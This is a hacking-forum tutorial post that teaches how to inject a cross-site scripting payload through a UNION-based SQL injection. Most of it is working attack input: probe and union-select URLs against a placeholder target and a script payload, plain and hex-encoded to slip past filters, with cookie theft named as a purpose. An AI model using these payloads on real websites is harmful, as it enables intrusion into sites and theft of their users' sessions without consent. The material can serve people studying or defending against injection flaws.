Perform XSS via Sql Injection 11-14-2013, 12:03 AM
#1
Sup HackCommunity
[*]Introduction
Today I will explain to you how to perform a XSS via SQL Injection.
You can take advantage of this in many situtations.
I.E: Bypassing some filter or stealing cookies when the website doesn't have a login page so SQLi would be almost useless etc. ( You can use your imagination )
If you don't know what they are then follow the XSS & SQLi tutorials I've mentioned below, and come back again

[*]Requirements:
Below you will find the tutorial which shows you what XSS is and how to perform one, it's explained in details so it's noob friendly.
[*]ULTIMATE XSS TUTORIAL EXPLAINED IN DEPTH made by dR.0xYw0Rm(Me)

Here you will find the SQL Injection tutorial which is deep explained.
[*]SQL Injection Tutorial noob friendly made by V1P3R
Let's start !
First of all you will need a target which is vulnerable to SQL injection:
Code:
http://www.target.com/index.php?id=123'Now we have to grab the columns number and do a Union Statement:
Code:
http://www.target.com/index.php?id=-123 union select 1,2--After you have found the vulnerable column you have to add add the XSS payload to the union statement. Like the examples below:
[*]Original Payload:
Code:
<script>alert("dR.0xYw0Rm")</script>[*]Hex Encoded Payload:
Code:
http://www.target.com/index.php?id=-123 union select 0x3c7363726970743e616c657274282264522e3078597730526d22293c2f7363726970743e,2--* Note: Encoding your payload into HEX or anything else is explained on my XSS tutorial I have mentioned above.
Ok so enter the hex encoded xss payload to the union statement and click enter.
aaaaand VOILA !!! We fired the Alert Box ! :dance:
![[Image: OB0jk23.png]](http://i.imgur.com/OB0jk23.png)
I hope I learned something new to you guys , if you need help feel free to leave a comment or PM me.
~dR.0xYw0Rm
If you need help , drop me a PM and I will help you with the best I can !
![[Image: V7mYdF6.png]](http://i.imgur.com/V7mYdF6.png)




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)